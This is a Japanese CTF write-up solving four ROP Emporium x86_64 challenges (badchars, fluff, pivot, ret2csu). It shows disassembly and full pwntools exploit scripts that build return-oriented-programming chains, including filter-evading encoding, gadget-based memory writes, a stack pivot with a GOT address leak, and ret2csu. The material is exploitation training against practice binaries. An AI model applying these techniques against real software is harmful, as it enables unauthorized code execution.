ROP Emporium x86_64 writeup 2/2

November 13th, 2022

前回の続き。

Challenge 5 badchars

問題へのリンク

print_fileという引数をひとつ取る関数がある。これは引数に渡した文字列をファイルパスと解釈してそのファイルの内容を出力してくれる。引数にflag.txtを渡せば解答になるけれど2つ問題がある。

  1. バイナリのどこにもflag.txtの文字列が無い。そのためメモリのどこかにflag.txtの文字列を書き込んでそのポインタをprint_file関数に渡す必要がある
  2. 攻撃の起点となるpwnme関数には標準入力から受け取った文字を探索して特定の文字列('x', 'g', 'a', '.')をフィルタリングする機能があるのでこれを迂回する必要がある

1については mov qword ptr [r13], r12; ret;というガジェットがあるのでこれを利用できる。

$ropper -f badchars
(...snip...)
0x0000000000400634: mov qword ptr [r13], r12; ret; 

2はusefulGadgetsというセクションを覗いてみるとxor byte [r15], r14bというガジェットがある。予めflag.txtの文字列をフィルタリングに引っかからない文字列にエンコードしておき、ROPの中でこれを使ってデコードすれば検知をすり抜けることができる。

[0x00400628]> pd
            ;-- usefulGadgets:
            0x00400628      453037         xor byte [r15], r14b
            0x0040062b      c3             ret
            0x0040062c      450037         add byte [r15], r14b
            0x0040062f      c3             ret
            0x00400630      452837         sub byte [r15], r14b
            0x00400633      c3             ret
            0x00400634      4d896500       mov qword [r13], r12
            0x00400638      c3             ret
            0x00400639      0f1f80000000.  nop dword [rax]
#!/usr/bin/env python3
from pwn import *

def exploit():
    # setup
    context.update(arch='amd64', os='linux')
    p = process('./badchars')

    # prepare
    write_address    = 0x00601038 + 0x08
    print_file       = pack(0x00400510)
    bss              = pack(write_address)
    flag             = b'dnce,vzv' # xor 2(0x10) with each byte of `flag.txt`
    dummy            = pack(0xdeadbeefdeadbeef)
    pop_rdi          = pack(0x004006a3)
    pop_r12r13r14r15 = pack(0x0040069c)
    mov              = pack(0x00400634)

    # exploit
    # 1) set encoded string `flag.txt`
    payload  = b''
    payload += b'B' * 0x28
    payload += pop_r12r13r14r15
    payload += flag
    payload += bss
    payload += dummy
    payload += dummy
    payload += mov

    # 2) decode all bytes
    payload += decode(write_address + 7)
    payload += decode(write_address + 6)
    payload += decode(write_address + 5)
    payload += decode(write_address + 4)
    payload += decode(write_address + 3)
    payload += decode(write_address + 2)
    payload += decode(write_address + 1)
    payload += decode(write_address + 0)

    # 3) read file
    payload += pop_rdi
    payload += pack(write_address)
    payload += print_file

    p.recvuntil(b'>')
    p.sendline(payload)
    p.interactive()
    return

def decode(address):
    pop_r12r13r14r15 = pack(0x0040069c)
    xor              = pack(0x00400628)
    key              = pack(0x02)
    dummy            = pack(0xdeadbeefdeadbeef)

    payload  = b''
    payload += pop_r12r13r14r15
    payload += dummy
    payload += dummy
    payload += key
    payload += pack(address)
    payload += xor
    return payload

if __name__ == '__main__':
    exploit()

Challenge 6 fluff

問題へのリンク

問題のバイナリにはprint_fileという関数がある。これは引数に取った文字列のポインタをファイルパスとして利用することで、ファイルの中身を読み取ってコンソール上に表示してくれる。そのため引数にflag.txtと指定したいけれどバイナリの中にその文字は見当たらない。なので一度メモリのどこかに書き込んでからそのポインタを引数として渡すようにしたい。

questionableGadgetsという名前のシンボルがあるので中身を見ると見慣れない命令がいくつかある。

[0x00400628]> pd
            ;-- questionableGadgets:
            0x00400628      d7             xlatb
            0x00400629      c3             ret
            0x0040062a      5a             pop rdx
            0x0040062b      59             pop rcx
            0x0040062c      4881c1f23e00.  add rcx, 0x3ef2
            0x00400633      c4e2e8f7d9     bextr rbx, rcx, rdx
            0x00400638      c3             ret
            0x00400639      aa             stosb byte [rdi], al
            0x0040063a      c3             ret
            0x0040063b      0f1f440000     nop dword [rax + rax]

命令を調べると

  1. xlatb ... ebx + alのアドレスにある値をalに書き込む
  2. bextr rbx, rcx, rdx ... rdxで指定した長さとインデックス値を利用してrcxから連続するビットを抜き出す。結果をrbxに書き込む(
  3. stosb byte [rdi], al ... alの値を[rdi]に書き込む

流れとしては

  • 特定のアドレスに書き込む処理は3
  • 3を使うにはalをコントロールする1が必要になる
  • 1は更にebxを使っているので2が必要になる

よって2,1,3の順番で処理すれば、書き込み許可がある領域に任意の文字を1バイトずつ書き込むことができるようになる。

#!/usr/bin/env python3
from pwn import *

FILE = './fluff'

def exploit():
    # setup
    context.update(arch='amd64', os='linux')
    elf = ELF(FILE)
    p = process(FILE)

    # making a payload
    addr_bss = 0x00601038
    payload  = b''
    payload += b'A'* 0x28
    payload += store_string()
    payload += p64(0x004006a3) # pop rdi; ret;
    payload += p64(addr_bss)
    payload += p64(elf.plt['print_file'])

    # exploit
    p.recvuntil(b'>')
    p.sendline(payload)
    p.interactive()

    return


def store_string():
    # Store 'flag.txt' at .bss section
    chacacter_location = [
        0x004003c7, # f
        0x004003c1, # l
        0x004003d6, # a
        0x004003cf, # g
        0x004003c9, # .
        0x0040040e, # t
        0x004006c8, # x
        0x0040040e] # t
    offset_al = [0x0b, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78]
    addr_bss = 0x00601038
    payload = b''

    for i in range(8):
        payload += p64(0x004006a3) # pop rdi; ret;
        payload += p64(addr_bss + i)
        payload += p64(0x0040062a) # pop rdx; pop rcx; add rcx 0x3ef2; bextr rbx, rcx, rdx
        payload += p64(0x00004000)
        payload += p64(chacacter_location[i] - offset_al[i] -  0x3ef2)
        payload += p64(0x00400628) # xlatb
        payload += p64(0x00400639) # stosb byte [rdi], al

    return payload


if __name__ == '__main__':
    exploit()

Challenge 7 pivot

問題へのリンク

flag.txtの中身を出力する関数ret2winは実行バイナリではなく、共有ライブラリであるlibpivot.soにある。そのため共有ライブラリからこの関数のアドレスを知りたい。しかし、共有ライブラリはPIEが有効になっているのでバイナリが置かれる仮想アドレスがランダムになっている。そのためret2win関数を呼ぶにはこの関数の絶対アドレスをエクスプロイトの実行中に知る必要がある。

共有ライブラリの中には、foothold_functionという関数もある。PIEが有効でもそうでなくてもfoothold_functionret2winのアドレスの差は常に同じなので、この2つの関数のアドレスの差とfoothold_functionの絶対アドレスを知ることができればret2winの絶対アドレスも分かるようになる。

絶対アドレスを手に入れるために、エクスプロイトの中で一度foothold_functionを呼ぶ。そうするとGOTから関数の絶対アドレスを得ることができる。あとは、上記のアドレスの差を可算してcallすればret2winが実行できるようになる。

pwndbg> plt
0x4006d0: [email protected]
0x4006e0: [email protected]
0x4006f0: [email protected]
0x400700: [email protected]
0x400710: [email protected]
0x400720: [email protected]
0x400730: [email protected]
0x400740: [email protected]
0x400750: [email protected]
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 9
 
[0x601018] [email protected]_2.2.5 -> 0x4006d6 ([email protected]+6) ◂— push   0 /* 'h' */
[0x601020] [email protected]_2.2.5 -> 0x7ffff7c475f0 (puts) ◂— push   r14
[0x601028] [email protected]_2.2.5 -> 0x4006f6 ([email protected]+6) ◂— push   2
[0x601030] [email protected]_2.2.5 -> 0x400706 ([email protected]+6) ◂— push   3
[0x601038] [email protected]_2.2.5 -> 0x400716 ([email protected]+6) ◂— push   4
[0x601040] foothold_function -> 0x400726 ([email protected]+6) ◂— push   5
[0x601048] [email protected]_2.2.5 -> 0x7ffff7c5b0f0 (malloc) ◂— mov    rax, qword ptr [rip + 0x147df9]
[0x601050] [email protected]_2.2.5 -> 0x7ffff7c47cd0 (setvbuf) ◂— push   r14
[0x601058] [email protected]_2.2.5 -> 0x400756 ([email protected]+6) ◂— push   8
pwndbg> 

これを実施する攻撃コードを作りたいが、今回Buffer Overflowを利用して書き込める領域はかなり狭い。そのためrspレジスタの値を書き換えてスタックの位置を変更したい。

コードをよく見るとはじめにmallocでメモリ領域を確保した後、その領域をアドレスを提供してくれている。なので、このメモリ内に攻撃コードを書き込んだ後、Stack Pivotでスタックをこの位置に向けるようなコードを書けば良い。

#!/usr/bin/env python3

from pwn import *

PIVOT = './pivot'
LIB   = './libpivot.so'

def exploit():
    # setup
    context.update(arch='amd64', os='linux')
    lib = ELF(LIB)
    p = process(PIVOT)

    pivot  = 0
    offset = lib.symbols['ret2win'] - lib.symbols['foothold_function']
    plt_foothold = p64(0x400720)
    got_foothold = p64(0x601040)
    call_rax     = p64(0x4006b0)
    pop_rax      = p64(0x4009bb)
    mov_rax_ptr  = p64(0x4009c0)
    pop_rbp      = p64(0x4007c8)
    add_rax_rbp  = p64(0x4009c4)
    xchg_rsp_rax = p64(0x4009bd)

    # 1) making a paylaod that leaks the address of 
    #    `foothold_function` then calls `ret2win`
    payload1  = b''
    payload1 += plt_foothold
    payload1 += pop_rax
    payload1 += got_foothold
    payload1 += mov_rax_ptr
    payload1 += pop_rbp
    payload1 += p64(offset)
    payload1 += add_rax_rbp
    payload1 += call_rax
    
    p.recvuntil(b'pivot: 0x')
    pivot = int(p.recvline().strip(), 16)
    p.recvuntil(b'>')
    p.sendline(payload1)

    # 2) another payload that changes the stack pointer to `pivot`
    payload2  = b''
    payload2 += b'A' * 0x28
    payload2 += pop_rax
    payload2 += p64(pivot)
    payload2 += xchg_rsp_rax
    p.recvuntil(b'>')
    p.send(payload2)
    p.interactive()

    return

if __name__ == '__main__':
    exploit()

Challenge 8 ret2csu

問題へのリンク

最後の問題。分からないところがあったので他のwriteupを参考にしながら解いた。

問題文によればret2win関数を指定された引数で呼べばいい。そのためropperでガジェットを探すもpop rdxが見つからない。 問題のページに掲載されているリンクを読みながらradare2でリバースを続けていると__libc_csu_initというシンボルに理想的なガジェットが入っていることが分かったのでこれを利用したい。

[0x004006b0]> s 0x00400640
[0x00400640]> pd
            ; DATA XREF from entry0 @ 0x400536
(...snip...)
│       │   ; CODE XREF from sym.__libc_csu_init @ 0x400694
│      ┌──> 0x00400680      4c89fa         mov rdx, r15
│      ╎│   0x00400683      4c89f6         mov rsi, r14
│      ╎│   0x00400686      4489ef         mov edi, r13d
│      ╎│   0x00400689      41ff14dc       call qword [r12 + rbx*8]
│      ╎│   0x0040068d      4883c301       add rbx, 1
│      ╎│   0x00400691      4839dd         cmp rbp, rbx
│      └──< 0x00400694      75ea           jne 0x400680
│       │   ; CODE XREF from sym.__libc_csu_init @ 0x400674
│       └─> 0x00400696      4883c408       add rsp, 8
│           0x0040069a      5b             pop rbx
│           0x0040069b      5d             pop rbp
│           0x0040069c      415c           pop r12
│           0x0040069e      415d           pop r13
│           0x004006a0      415e           pop r14
│           0x004006a2      415f           pop r15
└           0x004006a4      c3             ret

シナリオは以下。

  1. 最初にrip0x0040069aに向けて1回目のROPを実行する。
  2. r12からr15に必要な値を入れる
  3. rip0x00400680に向けることでガジェットをもう一周するような形にする
  4. 1でレジスタに書き込んだ値をrdirsirdxレジスタにコピーする
  5. 0x004006a4retの後にret2win関数を呼ぶ

このままガジェット組みたいが注意点がいくつかある。

  • 0x00400691rbprbxの値が同じであることを確認しているので2つのレジスタの値を合わせる
  • 0x00400696rspレジスタが可算されている
  • 0x00400689call qword [r12 + rbx*8]という命令があるのでジャンプしても問題無いよう、関数のアドレスを割り当てる

1つ目は1回目のROPで値を調整すれば良いので簡単にクリアできる。2つ目についてはペイロードにパディングを挿入することで解決できる。3つ目についてはROPで操作したレジスタの値を変更したくないので、引数を取らずかつサイズの小さい関数を割り当てることで解決したい。

シンボルから探すと_init関数が条件に合うものなので関数へのアドレスが書き込まれている地点を探す。

[0x004006b4]> is
[Symbols]

nth paddr      vaddr      bind   type   size lib name
―――――――――――――――――――――――――――――――――――――――――――――――――――――
(..snip...)
8   0x000004d0 0x004004d0 GLOBAL FUNC   0        _init
(..snip...)
pwndbg> search -t qword 0x004004d0
Searching for value: b'\xd0\x04@\x00\x00\x00\x00\x00'
ret2csu         0x400398 rol byte ptr [rax + rax*2], 1
ret2csu         0x400e38 rol byte ptr [rax + rax*2], 1
ret2csu         0x600398 0x4004d0
ret2csu         0x600e38 0x4004d0
warning: Unable to access 16007 bytes of target memory at 0x7ffff7c01000, halting search.

0x400398が目的の値と分かった。

#!/usr/bin/env python3

RET2CSU = './ret2csu'

from pwn import *

def exploit():
    # setup
    context.update(arch='amd64', os='linux')
    p = process(RET2CSU)

    # gad1 ... pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
    # gad2 ... mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8];
    gad1        = p64(0x0040069a) 
    gad2        = p64(0x00400680)
    ret2win     = p64(0x00400510)
    ptr_to_init = p64(0x00400398)
    pop_rdi     = p64(0x004006a3) 

    # making a payload
    payload  = b''
    payload += b'A' * 0x28

    # 1) first ROP
    payload += gad1
    payload += p64(0x0)                # rbx
    payload += p64(0x1)                # rbp
    payload += ptr_to_init             # r12
    payload += p64(0xdeadbeefdeadbeef) # r13 -> edi
    payload += p64(0xcafebabecafebabe) # r14 -> rsi
    payload += p64(0xd00df00dd00df00d) # r15 -> rdx
    
    # 2) second ROP
    payload += gad2
    payload += p64(0x0) # a padding for `add rsp, 0x08`
    payload += p64(0x0) # rbx
    payload += p64(0x0) # rbp
    payload += p64(0x0) # r12
    payload += p64(0x0) # r13
    payload += p64(0x0) # r14
    payload += p64(0x0) # r15

    # 3) fix `rdi` since the instruction `mov edi, r13d` in the first ROP
    #    does not fill the `rdi` register
    payload += pop_rdi
    payload += p64(0xdeadbeefdeadbeef)

    # 4) exploit
    payload += ret2win

    p.recvuntil(b'>')
    p.sendline(payload)
    p.interactive()

    return


if __name__ == '__main__':
    exploit()

参考